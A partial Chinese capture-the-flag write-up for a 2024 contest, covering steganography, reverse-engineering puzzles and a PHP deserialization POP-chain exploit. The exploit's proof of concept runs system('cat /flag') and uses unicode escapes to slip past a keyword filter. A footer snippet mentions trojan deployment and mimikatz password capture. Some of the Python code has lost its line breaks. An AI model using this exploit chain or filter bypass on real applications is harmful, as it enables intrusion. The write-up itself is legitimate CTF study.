掌控安全CTF-2024年5月擂台赛-WP(部分)

MISC

ez_Misc

题目给了一个加密的压缩包和一个文本文档,首先我们先来看文本的内容,如下:

很容易看出,0宽隐写,用PuzzleSolver梭哈一下,发现了:Thi3 is n0t 2 hint

又在文本中发现一个特征,标点符号只有“,”和“。” 猜测为二进制,将“,”替换为“0”;“。”替换为“1”,可得到一串字符:

01111010011010110110000101110001001000010100000000110011001100010011001000110011

用赛博橱子解密一下得到压缩包密码:zkaq!@3123

解开压缩包后得到flag.apng,直接用工具apngdis_gui可以分离出四张图片

可以发现第四张图片有点可疑,是黑的,不过我们能隐约看出来有张二维码在上面

直接使用QR扫描即可得到一串base64密文:ZmxhZ3thcG5nX2lzX2V6fQ==,解密后得到flag

flag{apng_is_ez}

如果实在没看到的话(或者扫不出来),可以放stegsolve里面看看,red plane 3,够清晰了吧哈哈哈。

扫描结果都是一样的,如下图:

ezBMP

题目只给了一个bmp文件,一开始试了好多东西都没什么好的结果,后来使用工具Picsel梭了

首先我们先试用foremost分离一下1.bmp,可以得到两张bmp文件

foremost -T 1.bmp

然后直接使用Picsel,过程大致如下:

先选择 Open Original Image,放入第一个图片00000000.bmp,再点击Decrypt Image功能,选择第二个图片00000113.bmp

得到flag:flag{ez_zkaq_steganography_xor}

Web

Base_pop

进入页面,只给了一个信息source=1,访问一下得到了php源码

分析一下我们需要

创建一个 Joker 对象并对其进行序列化。
然后对序列化字符串进行base64编码并输出。
当这个序列化对象被反序列化时,会调用 Joker 类的 __destruct 方法,继而调用 Bigger 类的 __toString 方法。
__toString 方法尝试调用 Lisa 对象的 print 方法。
由于 Lisa 没有 print 方法,会触发 __call 魔术方法,从而执行 system('cat /flag')。

Poc如下:

<?php
class Bigger{public $Processing_strings;function __construct(){$this->Processing_strings=new Lisa();}public function __toString(){echo 'aaa';$this->Processing_strings->print();}
}
class Joker{private $Error;function __construct(){$this->Error=new Bigger();}public function __destruct(){echo 'bbb';echo($this->Error);}
}
​
class Toke{public function print(){echo "===========print=========";}
}
class Lisa{public function __call($name, $arguments){system('cat /flag');}
}
$a=new Joker();
echo base64_encode(serialize($a));

运行后得到

Tzo1OiJKb2tlciI6MTp7czoxMjoiAEpva2VyAEVycm9yIjtPOjY6IkJpZ2dlciI6MTp7czoxODoiUHJvY2Vzc2luZ19zdHJpbmdzIjtPOjQ6Ikxpc2EiOjA6e319fQ==bbbaaa,#bbbaaa上传的时候去掉

根据PHP源码可知我们上传的时候需要使用PUT方式,而且pop被过滤了,将php转义一下,可以使用unicode编码绕过(因为这里上传的是json数据,“pop”=="\u0070\u006f\u0070"),发包后即可得到flag:flag{b4e0890d58dd4208bb832915dae872e1}

Reverse

做题做累了,来玩一会游戏吧

题目给了一个1.c3p文件,放入010查看发现pk字样,我直接改后缀为zip,解压后得到一堆文件,查看了很多文件信息,最终在文件夹eventSheets里的“事件表 2.json”发现关键信息,如下:

标签内容为:let i;\nlet a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];\nlet c = \"\";\nlet tmp;\nfor (i=0;i<28;i++)\n{\n\ttmp = a[i];\n\ttmp = tmp ^ 3;\n\ttmp -= 8;\n\tc += String.fromCharCode(tmp);\n\n}\n// console.log(c);\nruntime.globalVars.flag = c;\n
​
​
这段代码对一个数组的每个元素进行了一些运算,然后将结果转换为字符并组合成一个字符串。让我们一步步地解释这段代码:
​
定义了一个包含28个元素的数组 a。
初始化一个空字符串 c。
使用一个循环遍历数组 a 的每个元素(从 i = 0 到 i < 28)。
在循环内部,对每个元素 tmp 执行以下操作:
将元素与3进行异或运算 (tmp = tmp ^ 3)
将结果减去8 (tmp -= 8)
将结果转换为字符并附加到字符串 c 上
最终的结果存储在 runtime.globalVars.flag 中。
​
下面是代码的具体步骤和解释:
​
#javascript
let a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];
let c = "";
let tmp;
for (let i = 0; i < 28; i++) {tmp = a[i];tmp = tmp ^ 3;tmp -= 8;c += String.fromCharCode(tmp);
}
// console.log(c);
runtime.globalVars.flag = c;

我们可以使用 Python 来执行相同的操作,并得到最终的字符串 c: 

#python
a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134]
c = ""
for i in range(28):tmp = a[i]tmp = tmp ^ 3tmp -= 8c += chr(tmp)
​
print(c)

运行上述 Python 代码,可以得到字符串 c,即: flag{112f_bcdf_2499_c045773}

givemeflag

放入ida,查看main函数

点击check函数,如下:

定位到table和funcs

将table数据提取出来,用16进制表示

table = [0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]

编写exp:

# 给定的字符串和数组
str = "fAkeflag{tHis_Is_nOt_the_rEal_Flag}"
​
# 加密所需的数组
encryption_table = [0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]
​
# 将输入字符串转换为字符列表以进行可变操作
char_list = list(str)
​
# 迭代数组并加密字符串
for i, value in enumerate(encryption_table):# 每次迭代获取字符列表和数组的长度char_index = i % len(char_list)
​# 根据索引对3取模的结果执行不同的加密操作if i % 3 == 0:# 增加ASCII值char_list[char_index] = chr((ord(char_list[char_index]) + value) % 256)elif i % 3 == 1:# 减去ASCII值char_list[char_index] = chr((ord(char_list[char_index]) - value) % 256)else:# 异或ASCII值char_list[char_index] = chr((ord(char_list[char_index]) ^ value) % 256)
​
# 将列表重新组合成字符串
flag = ''.join(char_list)
print(flag)

运行后得到flag:

flag{f14g_ch3ck_9oUr_g3titbr0ther!}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17404.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【2024】高校网络安全管理运维赛

比赛时间&#xff1a;2024-05-06 Re-easyre 基本的base64换表&#xff0c;用CyberChef解密 Re-babyre 进入主函数&#xff0c;发现输入四次 看一下就知道是大数求解 (当初写的时候差不多 不知道为什么第四个总是算错…) from z3 import *s Solver() # 设置一个解方程的类…

中心渗透Ⅱ

cs与msf权限传递以及mimikatz抓取win2012明文密码 使用Cobalt Strike抓取win2012明文密码&#xff0c;将会话传递到Metasploit Framework上 1.cs生成木马并使目标服务器中马 建立监听生成木马 2.抓取目标主机的明文密码 通过修改注册表来让Wdigest Auth保存明文口令 shell …

深入pandas:数据分析

目录 前言 第一点&#xff1a;导入模块 第二点&#xff1a;准备数据 第三点&#xff1a;简单的分析数据 第四点&#xff1a;【重点】数据透支 总结 前言 在数据分析与挖掘的领域&#xff0c;了解如何使用工具和方法来探索数据是至关重要的。本文将探讨如何利用Python中的…

C语言常用字符串处理函数

C语言中包含了很多对字符串处理的函数,要使用这些函数&#xff0c; 首先需要导入头文件#include <string.h> 1. strlen() -- 计算字符串长度 原型: size_t strlen(char const *string); 例: char *str "abcde"; size_t len strlen(str); // 结果为…

【DevOps】Elasticsearch在Ubuntu 20.04上的安装与配置:详细指南

目录 一、ES 简介 1、核心概念 2、工作原理 3、 优势 二、ES 在 Ubuntu 20.04 上的安装 1、安装 Java 2、下载 ES 安装包 3、创建 ES 用户 4 、解压安装包 5、 配置 ES 6、 启动 ES 7、验证安装 三、ES 常用命令 1、创建索引 2、 插入文档 3、查询文档 四、ES…

利用audacity和ffmpeg制作测试音频文件

最近要用SIPP测试一个场景&#xff0c;需要发送双声道/16K采样率/16bit量化的PCM流&#xff0c;但是下载的素材往往不能满足参数要求。那么就自己制作。 首先下载mp3文件&#xff0c;并用audacity打开。 接下来&#xff0c;点击菜单栏中轨道-重采样&#xff0c;将采样频率设为1…

【Java面试】四、MySQL篇(上)

文章目录 1、定位慢查询2、慢查询的原因分析3、索引3.1 数据结构选用&#xff1a;二叉树 & 红黑树3.2 数据结构选用&#xff1a;B树 4、聚簇索引、非聚簇索引、回表查询4.1 聚簇索引、非聚簇索引4.2 回表查询 5、覆盖索引、超大分页优化5.1 覆盖索引5.2 超大分页处理 6、索…

联发科MT8370平台Genio 510物联网应用程序处理器详细规格参数

MT8370是一款高度集成、功能强大的平台&#xff0c;专为各种人工智能(AI)和物联网(IoT)用例而设计&#xff0c;这些用例需要高性能边缘处理、先进的多媒体和连接功能、多个高分辨率摄像头、连接的触摸屏显示器以及多任务高级操作系统(HLOS)的使用。http://Genio 510 (MT8370) E…

Mybatis源码剖析

文章目录 一、前置1.1概念ORMSqlSession会话 二、快速入门2.1 SpringBoot整合Mybatis2.2 XML配置2.2.1 路径位置2.2.2 名称2.2.3 configuration标签内容环境environments标签映射器mappers标签 2.3 Mapper接口2.3.1 单Mybatis项目2.3.2 SpringBoot整合mybatis2.3.3 m整合mybati…

字符串函数(2)<C语言>

前言 快一周没更博客了&#xff0c;最近有点忙&#xff0c;今天闲下来了&#xff0c;还是不行&#xff0c;继续干&#xff0c;书接上回继续介绍字符串函数&#xff1a;strncpy()、strncat()、strcmp()、strtok()使用、strstr()使用以及模拟实现、strerror()使用。 strncpy()、s…

揭秘网络编程:同步与异步IO模型的实战演练

摘要 ​ 在网络编程领域&#xff0c;同步(Synchronous)、异步(Asynchronous)、阻塞(Blocking)与非阻塞(Non-blocking)IO模型是核心概念。尽管这些概念在多篇文章中被广泛讨论&#xff0c;它们的抽象性使得彻底理解并非易事。本文旨在通过具体的实验案例&#xff0c;将这些抽象…

在React中使用Sass实现Css样式管理-10

0. 什么是Sass Sass(Syntactically Awesome Stylesheets)是一个 CSS 预处理器&#xff0c;是 CSS 扩展语言&#xff0c;可以帮助我们减少 CSS 重复的代码&#xff0c;节省开发时间&#xff1a; Sass 引入合理的样式复用机制&#xff0c;可以节约很多时间来重复。支持变量和函…

C++之“流”-第2课-C++和C标准输入输出同步

为什么C和C的标准输入输出不同步时&#xff0c;数据会混乱&#xff1f;同步会带来多大性能损失&#xff1f;为什么说这个损失通常不用太在乎&#xff1f; 0. 课堂视频 C之“流”-第2课&#xff1a;和C输入输出的同步 1. 理解cin和cout的类型与创建过程 std::cout 是std::ostre…

添加、修改和删除字典元素

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 由于字典是可变序列&#xff0c;所以可以随时在字典中添加“键-值对”。向字典中添加元素的语法格式如下&#xff1a; dictionary[key] value 参数…

You don‘t have enough free space或者no space left on device异常

1.磁盘空间不足 Linux安装软件显示 You dont have enough free space 或者docker拉镜像时&#xff0c;出现磁盘空间不足的情况 no space left on device 如果你是ubuntu系统。查看磁盘空间 df -h 多半是这个目录满了/dev/mapper/ubuntu--vg-ubuntu--lv 大多情况我们只希望扩…

学习编程对英语要求高吗?

学习编程并不一定需要高深的英语水平。我这里有一套编程入门教程&#xff0c;不仅包含了详细的视频讲解&#xff0c;项目实战。如果你渴望学习编程&#xff0c;不妨点个关注&#xff0c;给个评论222&#xff0c;私信22&#xff0c;我在后台发给你。 虽然一些编程资源和文档可能…

typora自动生成标题序号(修改V1.0)

目录 带序号效果图 解决方法 带序号效果图 解决方法 1.进入文件夹&#xff1a;文件–>偏好设置–>外观–>主题–>打开主题文件夹 2.如果没有base.user.css文件&#xff0c;新建一个。如果有直接用记事本打开&#xff0c;把下面代码拷贝进去保存。 /** initiali…

【JUC编程】-多线程和CompletableFuture的使用

多线程编程 文章目录 多线程编程[toc]引言创建多线程的方式继承Thread类实现Runnable接口实现Callable接口Callable和Runnable的区别 Lambda表达式 线程的实现原理Future&FutureTask具体使用submit方法Future到FutureTask类Future注意事项局限性 CompletionService引言使用…

第八大奇迹

目录 题目描述 输入描述 输出描述 输入输出样例 示例 输入 输出 运行限制 原题链接 代码思路 题目描述 在一条 R 河流域&#xff0c;繁衍着一个古老的名族 Z。他们世代沿河而居&#xff0c;也在河边发展出了璀璨的文明。 Z 族在 R 河沿岸修建了很多建筑&#xff0c…

Ps 滤镜:消失点

Ps菜单&#xff1a;滤镜/消失点 Filter/Vanishing Point 快捷键&#xff1a;Ctrl Alt V 两条平行的铁轨或两排树木连线相交于很远很远的某一点&#xff0c;这点在透视图中叫做“消失点”&#xff0c;也称为“灭点”。 消失点 Vanishing Point滤镜主要用于在图像中处理具有透视…